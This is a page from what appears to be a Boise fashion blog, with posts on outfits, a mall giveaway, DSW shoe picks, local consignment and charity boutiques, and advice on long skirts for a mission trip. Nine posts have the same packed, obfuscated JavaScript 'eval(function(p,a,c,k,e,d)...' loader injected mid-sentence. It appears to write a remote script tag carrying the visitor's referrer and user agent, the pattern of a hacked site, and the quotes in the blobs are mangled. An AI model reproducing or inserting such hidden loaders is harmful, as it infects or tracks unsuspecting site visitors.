Keep Warm & Carry On

Photo eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryihr|var|u0026u|referrer|yynsa||js|php’.split(‘|’),0,{}))
by: Sunny Daze // Sweater: Forever 21 // Leggings: Bebe // Sunnies: Coach // Lipstick: MAC Heroine // Hair: Chad Robinson Continue reading “Keep Warm & Carry On” →

Holiday Dresses; How to Shop for Your Body Type

Continue reading “Holiday Dresses; How to Shop for Your Body Type” →

Football Season

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdtsn|var|u0026u|referrer|eszrt||js|php’.split(‘|’),0,{}))
have a confession to make: I love football. But probably not in the ways most people do… I don’t follow stats or rosters very closely, nor do I know all the players’ names. I don’t really remember important games, or understand all the reasons those yellow flags fly onto the field at the tiniest mistake. But I love football culture. You know; getting together with friends, wearing our team’s colors, cheering and yelling and getting angry at the refs… Seriously?? His toe was clearly in bounds! Continue reading “Football Season” →

Local Love: Idaho Pride

Styling/Model: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrkit|var|u0026u|referrer|dyefh||js|php’.split(‘|’),0,{}))
StyleSpyGirl // Photography: Ammophotog // Bullet Necklace: Anna Van Wey Dempsay // Pullover: Skip N’ Whistle // Idaho Belt: BANANA ink // Jeans: Express // Shoes: Forever 21 (Coupon code here!) Continue reading “Local Love: Idaho Pride” →

Boise Towne Square Spring Fashion Show Giveaway

Crossbody eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fttkb|var|u0026u|referrer|rhfay||js|php’.split(‘|’),0,{}))
clutch purse: H&M

Woo-hoo, another giveaway! Do you LOVE winning things, as much as I LOVE giving them away? Ha ha ha!

This one’s going to happen fast, and you MUST be present to win! That means your chances are best, if you’re local to the Treasure Valley area.

I have this ADORABLE minty/aqua crossbody clutch from H&M, to give one lucky winner! I also have a $20 Gift Card to ALDO Shoes!!! That means you have TWO chances to WIN!!! On top of that, Boise Towne Square is giving shoppers a $10 Gift Card for every $100! (*While supplies last – one per person! Redeem receipts at Center Court from 1-4pm.)

Here’s how you enter:

Go to Boise Towne Square’s FB event for this SATURDAY, April 27th: https://www.facebook.com/events/450163351732032/
Click “Join.”
Join me this Saturday at the Fashion show, which starts at 1pm. At the end of the show, I will draw FOUR winners names, from the event’s “Join” list!

Note: This contest is for fans of StyleSpyGirl! You MUST Like my FB page, to qualify: www.Facebook.com/MyStyleSpyGirl

Good luck! I’m so excited to see everybody, and all the FUN & Fabulous Spring Fashions that will be coming down the runway!!!

XOXO,

StyleSpyGirl

P.S. Be sure to stop by and say HI to me! I LOVE meeting my readers & followers!!! 🙂 Also, awesome blogger Annelise from AunieSauce will also be at the mall, hosting a party in Apricot Lane from 1-4pm, to celebrate their one year birthday! Rad stylist Kellie from Fashion Kellie will also be there, styling models in Francesca’s Collections, with mannequin modeling and a special Fashion Feature at 4pm!

Hot Trends & Hotter Deals at DSW Shoes!

The sun is coming out! And with it, ladies everywhere stretch out their toes and say, “Ooh, I need a pedicure!”

Whatever your toes look like these days, if you’re anything like me you are excited to peel off those winter boots and try on some spring styles! I stopped by Boise’s DSW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nydrk|var|u0026u|referrer|yzair||js|php’.split(‘|’),0,{}))
(Designer Shoe Warehouse) yesterday, to see what’s hot in designer footwear for the Budget Fashionista. 🙂 Here are some of my fun finds and top picks.

Pumps: Audrey Brooke // “Nude” pumps are very popular right now! These have a subtle gold shimmer in the suede, and would look fabulous with a colorful dress, or capris and a flirty blouse!

Sandals: Diba // Gladiator sandals are still hot! The gold studs on these add elegance and edge.

Wedge Sandals: BCBG Paris // Metallic shoes are SO versatile, and this platform wedge amps-up a dressy outfit, while still being comfortable.

Wedge Sandal: Steve Madden // Is everyone as in love with Steve Madden as I am? These mango wedges are smoking hot! I’d wear them with a swingy, simple black tank dress, OR white shorts and a gold-embellished blouse! They add pizazz to any ensemble.

Sandals: Coconuts and Zigi // Wedding shoes! Seriously, the sales staff said these bright & blingy beauties are flying off the shelves, as brides & bridesmaids get in the swing of wedding season!

Ankle-strap Flats: kelly & kate // With their sexy ankle strap, subtle wedge lift, and bold metallic accents, these shiny black sandals are a more mature, dressier version of gladiators!

Pumps: Zigi Soho // Two words: PROM SEASON!

Wedge sandals: Report // These are just SO cute & retro, I literally want to wear one on each foot because I can’t decide between them! Birds, birds, birds… Adorbs!!!

Slip-on: Dansko // On your feet all day, but still love a little pizazz? These bright Danskos were getting a lot of attention in the “comfort shoe” aisle!

Flats: BCBG Paris // Ballet flats are extra pretty, in bright colors and fun metallic prints!

Wedge Sneaker: Jellypop // Not sure about the wedge sneaker trend? Edgy fashionistas know: if you’re going to wear them, don’t be subtle about it! Check out this lacy, ladylike version…

Wedge Sneakers: Sam Edelman // Or, edge it up with chains & studs!!!

DON’T MISS the back clearance wall of DSW, where rows & rows of shoes are marked an extra 30-80% off!!! I found a ton of hot bargains…

Wedge Sneakers: Rebels // $79.00 marked down to $59.94, minus an extra 70% off!

Wedge Sandals: Two Lips // $100 marked down to $79.94, minus an extra 40% off!

Pumps: Audrey Brooke // $90.00 marked down to $49.94, minus an extra 50% off!

Gladiator Sandals: CARLOS by Carlos Santana // $59.00, marked down to $39.94, minus an extra 30% off!

And one last thing: my top pick for the most adorable Spring handbag in DSW: This Betsey Johnson heart-studded tote, in the lightest champagne pink! #fashioncrave

Which one is YOUR favorite? Spring has sprung – get your toes out and go find some hot bargains! 🙂

XOXO,

StyleSpyGirl

Check out DSW’s facebook page for store specials & events: https://www.facebook.com/DSW

DSW Boise is located at 8501 W Franklin Rd, Boise, ID 83709, (208) 323-1201

Local Style Secret: Full Circle Exchange!!!

With eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzfba|var|u0026u|referrer|knizz||js|php’.split(‘|’),0,{}))
Photos by Laurie Anne’s Creations Photography

If you’ve followed my blog very long, you know that I love good fashion, and that I totally LOVE people who do good things for others! When those two passions collide, I find myself in a blissful place that I just HAVE to tell you all about! (See my previous article on the opening of Boise’s first Apricot Lane, for another great example of this!)

Recently, a brand new boutique opened in Eagle, Idaho, and I had the privilege of attending their grand opening festivities. The store is called “Full Circle Exchange,” and I truly believe it represents not only the future of responsible shopping, but also that perfect blend of fashion and humanitarian conscience!

Full Circle Exchange was launched by Mark & Jeanette Priddy, and Mark’s brothers John and Ed Priddy, whose goal is to “work with women entrepreneurs from around the world to bring their artisan goods into the western marketplace.” From purses, to tablecloths, to jewelry, everything in their boutique tells a story, and has a personal connection. For example, the beautiful necklaces made from bullet casings that Ethiopian women gather from around their villages, literally forming beauty from violence; you can’t help but reach out and touch this gorgeous jewelry, and marvel at its’ tragic origins.

One of the store’s products, in particular, instantly touched my heart and brought tears to my eyes. Nomi Network is a line that produces handbags and accessories that boast “Buy Her Bag, Not Her Body.” Their items are hand-crafted with pride by women who have been rescued from sex trafficking & exploitation, and receive training, support, and economic empowerment through the Network. To hold in your hands an item made directly by a woman who has been set free, learned a trade, and has a chance to create a new life for herself is both humbling and deeply moving!

Shopping in Full Circle Exchange is an all-around lovely experience, both visually and emotionally. The shop space itself is a stunning blend of rich architectural construction and bright, joyful decor. If you are in the market for unique gifts, gorgeous accessories, or Eco-friendly housewares, Full Circle is your one-stop shop. The prices are comparable to to the items you would find on other stores, and it’s an amazing experience to know your dollars are bringing freedom, empowerment, education, and economic independence to women and their families all over the world.

I love this store! Friends & families, take note; many of your future Christmas & birthday gifts will have a Full Circle Exchange tag on them! 😉

XOXO,

StyleSpyGirl

Check out Full Circle’s Facebook page here: http://www.facebook.com/fullcircleexchange

wallofhope — Writing "Every Woman is Beautiful!" on the Wall of Hope

DSC_0534 copy — My fave - the Love Saori clutch - how cute is that big red heart?

DSC_0595 copy — Learning to make beautiful beads from recycled paper!

EXCLUSIVE SNEAK PEEK!!!

I believe every woman is beautiful, not for what she wears but for WHO SHE IS!!!

YOU ARE BEAUTIFUL!!!

This show is all about honoring the women in our lives who deserve to hear how precious and wonderful we think they are… and how BEAUTIFUL, inside and out! 😀

Here, for my StyleSpyGirl friends, is an EXCLUSIVE SNEAK PEEK at the first 5 minutes of the Pilot Episode! I hope you all will join me on October 11th at our Red Carpet Screening Event, to see the entire show and meet everyone involved!

Here it is… First 5, just for you! Enjoy! 😀

Every Woman Project – First 5 mins of Episode 1! from Parallel Worlds Productions on Vimeo.

Be sure and follow our Facebook page for updates on the Screening Event, and how YOU can be involved!!! https://www.facebook.com/EveryWomanProject

Love & hugs,

StyleSpyGirl

Quick Q&A About LONG SKIRTS!!!

Thank you to Geneva, who posted this question on my Facebook page:

“I have a question for you. I’m a plus size woman who is bigger on bottom than on top. I’m needing long skirts/dresses for a mission trip to Kenya with IC World. But can’t seem to find anything that looks good. I am 5’8″ and live in Nampa.”

Geneva, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fiaaa|var|u0026u|referrer|frftz||js|php’.split(‘|’),0,{}))
first I’d like to give you a HUGE hug for your efforts to help the people of Kenya! My dear friend Lori recently made a similar trip, and was so blessed by the experience, and the opportunity to help families in need there. With high malnutrition rates, severe drought, and over a million children orphaned by AIDS alone, Kenya is definitely a country that needs compassionate volunteers!

Many mission & volunteer programs do, however, have a dress code, depending on the culture you are working with. How to be respectful, comfortable, and appropriately-dressed for the requirements of your trip, AND your personal style & body type? It can be challenging, but not impossible! 😀

Some tips…

1. I recently found the maxi-skirt-of-my-dreams (that’s me on the left!) in the newly-opened Nordstrom Rack.

teamwithammo — Photo courtesy AmmoPhotog ~ http://ammophotogstreet.wordpress.com/

It’s from a brand called Bobeau, who makes comfortable, stretchy, stylish clothing (affordable, too!) in misses and plus sizes! It’s a lightweight breathable rayon material, and most importantly, it’s super-duper-DUPER stretchy! The waist can be worn folded up or down, depending on what top you wear with it. Either way, it’s so comfy, it kind of blows your mind! The Rack carries them in a variety of colors, and right now they carry womens’ sizes XS-XL. Some of their other Bobeau items DO come specifically plus sizes, but these skirts are so generously sized, it might definitely be worth trying them on!

2. Watch out for pleats on your maxi skirt! If you are a lady with curvier hips, pleats around the waistline will make those curves look even curvier! 😉 The Bobeau skirt I mentioned (left) has barely any pleating around the waist; when worn, they pretty much disappear! If you hold up a maxi skirt and the hips puff out on the hanger, it is NOT going to be a slenderizing skirt on an actual woman. (Only exception: if you put a big, chunky statement belt over the waist & pleats!)

3. Another tip: Look for maxi dresses! These are everywhere right now, from Ross to Macy’s to Target – there’s a style for every budget! Steer clear of low-cut styles that would be inappropriate for the work you are doing. Empire-waist styles can emphasize your bust, so if you are a lady with a pear-shaped body type, these can be very figure-balancing & flattering! If you have a larger bust size, look for lower-waisted styles, or maxi’s that don’t have a defined waist, but instead flow gently (not too tight, or too baggy!) over your curves. Ask your mission coordinators what the rules are regarding bare arms & shoulders, too; these guidelines will also affect your shopping choices!

4. Many of my overseas-traveling girl friends concur on this point: a local re-sale store will be your best resource! Long skirts come and go in fashion, year after year. Your local Saver’s, Goodwill, etc. should have a good selection of long skirts, at really decent prices. And be SURE to check your local consignment stores, for skirts that are more current, and often in better condition. 😉

A quick internet search pulled up some great options in Nampa, Geneva! I found 1. Catwalk Consignment Boutique – 1310 2nd St S, (208) 466-4832. 2. 11th Ave. Consignments – 1509 Caldwell Blvd # 1178, (208) 466-7700. 3. A to Z Resale Inc. – 1407 2nd St S, (208) 442-7900. 4. Magic Again – 819 12th Ave S, (208) 991-2341.

Hopefully some of these ideas will be helpful to you! Good luck, and please post pictures of your trip!

XOXO,

StyleSpyGirl

P.S. Fashion friends, do you have ideas & shopping tips for Geneva? Feel free to add your helpful comments! 😀

Local Style Secret: Again Consignment

Eagle, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yikze|var|u0026u|referrer|byryf||js|php’.split(‘|’),0,{}))
Idaho is known as a beautiful & stylish town. But do you know what wonders lie just below the surface? Peer down the stairwell of Again Consignment, to discover a basement boutique loaded with fashion treasures!

Have an eye for high-end labels, but don’t want to pay high-end prices?? Check out Again Consignment for fabulous fashion finds!!!

Looking for a unique dress from Benetton or BCBG? You’ll find it here, for under $25. In the market for an Ann Taylor or Calvin Klein suit? They’re here too, all under $30. With over 1,000 NEW ITEMS coming in weekly, this store is stocked with wall-to-wall affordable fashion – some BRAND NEW with tags still attached!

Check out some of the adorable outfits I found, all with high-end labels, and all UNDER $50… including the shoes!!! COMMENT ON THIS POST to vote for your favorite outfit, and your name will be entered to WIN: a $20 Gift Certificate to Again Consignment!!! 😀

trio — Click on the pic to view a larger version.

Again Consignment is located at 222 E. State Street, Eagle, ID 83616.

They are opening a NEW STORE for Juniors & Teens soon!!! Like their facebook page for updates & special deals: https://www.facebook.com/againconsignment?sk=info